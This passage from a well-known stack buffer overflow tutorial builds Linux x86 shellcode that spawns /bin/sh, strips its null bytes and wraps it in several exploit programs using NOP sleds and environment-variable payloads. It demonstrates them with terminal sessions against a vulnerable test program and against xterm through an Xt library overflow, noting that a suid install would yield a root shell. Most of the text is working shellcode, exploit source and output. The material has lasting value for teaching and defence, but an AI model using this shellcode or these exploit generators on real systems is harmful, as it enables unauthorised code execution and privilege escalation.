GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586‑unknown‑linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)...

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>: pushl %ebp

0x800034d <_exit+1>: movl %esp,%ebp

0x800034f <_exit+3>: pushl %ebx

0x8000350 <_exit+4>: movl $0x1,%eax

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx

0x8000358 <_exit+12>: int $0x80

0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>: movl %ebp,%esp

0x800035f <_exit+19>: popl %ebp

0x8000360 <_exit+20>: ret

0x8000361 <_exit+21>: nop

0x8000362 <_exit+22>: nop

0x8000363 <_exit+23>: nop

End of assembler dump.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now:

a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.

c) Copy 0xb into the EAX register.

d) Copy the address of the address of the string "/bin/sh" into the EBX register.

e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction.

h) Copy 0x1 into the EAX register.

i) Copy 0x0 into the EBX register.

j) Execute the int $0x80 instruction.

Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

movl string_addr,string_addr_addr

movb $0x0,null_byte_addr

movl $0x0,null_addr

movl $0xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int $0x80

movl $0x1, %eax

movl $0x0, %ebx

int $0x80

/bin/sh string goes here.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The problem is that we don't know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c

<‑‑‑‑‑‑ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]

^|^ ^|

|||_____________||___________1)

(2) ||_____________||

|______________| (3)

top of bottom of

stack stack

With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jmp offset‑to‑call # 2 bytes

popl %esi # 1 byte

movl %esi,array‑offset(%esi) # 3 bytes

movb $0x0,nullbyteoffset(%esi)# 4 bytes

movl $0x0,null‑offset(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal array‑offset,(%esi),%ecx # 3 bytes

leal null‑offset(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax# 5 bytes

movl $0x0, %ebx# 5 bytes

int $0x80# 2 bytes

call offset‑to‑popl # 5 bytes

/bin/sh string goes here.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jmp 0x26 # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi)# 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax# 5 bytes

movl $0x0, %ebx# 5 bytes

int $0x80# 2 bytes

call ‑0x2b # 5 bytes

.string \"/bin/sh\"# 8 bytes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read‑only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it.

shellcodeasm.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void main() {

__asm__("

jmp 0x2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call ‑0x2f # 5 bytes

.string \"/bin/sh\" # 8 bytes

");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gcc ‑o shellcodeasm ‑g ‑ggdb shellcodeasm.c

[aleph1]$ gdb shellcodeasm

GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586‑unknown‑linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: jmp 0x800015f <main+47>

0x8000135 <main+5>: popl %esi

0x8000136 <main+6>: movl %esi,0x8(%esi)

0x8000139 <main+9>: movb $0x0,0x7(%esi)

0x800013d <main+13>: movl $0x0,0xc(%esi)

0x8000144 <main+20>: movl $0xb,%eax

0x8000149 <main+25>: movl %esi,%ebx

0x800014b <main+27>: leal 0x8(%esi),%ecx

0x800014e <main+30>: leal 0xc(%esi),%edx

0x8000151 <main+33>: int $0x80

0x8000153 <main+35>: movl $0x1,%eax

0x8000158 <main+40>: movl $0x0,%ebx

0x800015d <main+45>: int $0x80

0x800015f <main+47>: call 0x8000135 <main+5>

0x8000164 <main+52>: das

0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp

0x8000168 <main+56>: das

0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)

End of assembler dump.

(gdb) x/bx main+3

0x8000133 <main+3>: 0xeb

(gdb)

0x8000134 <main+4>: 0x2a

(gdb)

.

.

.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

testsc.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gcc ‑o testsc testsc.c

[aleph1]$ ./testsc

$ exit

[aleph1]$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller).

Problem instruction: Substitute with:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

movl $0xb,%eax movb $0xb,%al

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax

inc %eax

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Our improved code:

shellcodeasm2.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void main() {

__asm__("

jmp 0x1f # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

xorl %eax,%eax # 2 bytes

movb %eax,0x7(%esi)# 3 bytes

movl %eax,0xc(%esi) # 3 bytes

movb $0xb,%al # 2 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

xorl %ebx,%ebx # 2 bytes

movl %ebx,%eax # 2 bytes

inc %eax # 1 bytes

int $0x80 # 2 bytes

call ‑0x24 # 5 bytes

.string \"/bin/sh\" # 8 bytes

# 46 bytes total

");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And our new test program:

testsc2.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gcc ‑o testsc2 testsc2.c

[aleph1]$ ./testsc2

$ exit

[aleph1]$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Writing an Exploit

~~~~~~~~~~

(or how to mung the stack)

~~~~~~~~~~~~~~

Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points:

overflow1.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ gcc ‑o exploit1 exploit1.c

[aleph1]$ ./exploit1

$ exit

exit

[aleph1]$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell.

The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer:

sp.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main() {

printf("0x%x\n", get_sp());

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ ./sp

0x8000470

[aleph1]$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lets assume this is the program we are trying to overflow is:

vulnerable.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void main(int argc, char *argv[]) {

char buffer[512];

if (argc > 1)

strcpy(buffer,argv[1]);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate:

exploit2.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() ‑ offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr += 4;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize ‑ 1] = '\0';

memcpy(buff,"EGG=",4);

putenv(buff);

system("/bin/bash");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now we can try to guess what the buffer and offset should be:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ ./exploit2 500

Using address: 0xbffffdb4

[aleph1]$ ./vulnerable $EGG

[aleph1]$ exit

[aleph1]$ ./exploit2 600

Using address: 0xbffffdb4

[aleph1]$ ./vulnerable $EGG

Illegal instruction

[aleph1]$ exit

[aleph1]$ ./exploit2 600 100

Using address: 0xbffffd4c

[aleph1]$ ./vulnerable $EGG

Segmentation fault

[aleph1]$ exit

[aleph1]$ ./exploit2 600 200

Using address: 0xbffffce8

[aleph1]$ ./vulnerable $EGG

Segmentation fault

[aleph1]$ exit

.

.

.

[aleph1]$ ./exploit2 600 1564

Using address: 0xbffff794

[aleph1]$ ./vulnerable $EGG

$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c

<‑‑‑‑‑‑ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]

^ |

|_____________________|

top of bottom of

stack stack

The new exploits is then:

exploit3.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() ‑ offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

ptr = buff + ((bsize/2) ‑ (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize ‑ 1] = '\0';

memcpy(buff,"EGG=",4);

putenv(buff);

system("/bin/bash");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ ./exploit3 612

Using address: 0xbffffdb4

[aleph1]$ ./vulnerable $EGG

$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ export DISPLAY=:0.0

[aleph1]$ ./exploit3 1124

Using address: 0xbffffdb4

[aleph1]$ /usr/X11R6/bin/xterm ‑fg $EGG

Warning: Color name "^1FF

V

1@/bin/sh

^C

[aleph1]$ exit

[aleph1]$ ./exploit3 2148 100

Using address: 0xbffffd48

[aleph1]$ /usr/X11R6/bin/xterm ‑fg $EGG

Warning: Color name "^1FF

V

1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

HHHHHHHHHHHH

Warning: some arguments in previous message were lost

Illegal instruction

[aleph1]$ exit

.

.

.

[aleph1]$ ./exploit4 2148 600

Using address: 0xbffffb54

[aleph1]$ /usr/X11R6/bin/xterm ‑fg $EGG

Warning: Color name "^1FF

V

1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

TTTTTTTTTTTT

Warning: some arguments in previous message were lost

bash$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell.

Small Buffer Overflows

~~~~~~~~~~~~

There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables.

What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want.

The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this:

<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this:

exploit4.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_esp() ‑ offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i < eggsize ‑ strlen(shellcode) ‑ 1; i++) *(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize ‑ 1] = '\0';

egg[eggsize ‑ 1] = '\0';

memcpy(egg,"EGG=",4);

putenv(egg);

memcpy(buff,"RET=",4);

putenv(buff);

system("/bin/bash");

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lets try our new exploit with our vulnerable test program:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ ./exploit4 768

Using address: 0xbffffdb0

[aleph1]$ ./vulnerable $RET

$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Works like a charm. Now lets try it on xterm:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[aleph1]$ export DISPLAY=:0.0

[aleph1]$ ./exploit4 2148

Using address: 0xbffffdb0

[aleph1]$ /usr/X11R6/bin/xterm ‑fg $RET

Warning: Color name

"

Warning: some arguments in previous message were lost

$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets.

Finding Buffer Overflows

~~~~~~~~~~

As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built‑in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null‑terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non‑white‑space characters (%s), or matching a non‑empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow.

Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited.

To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d.

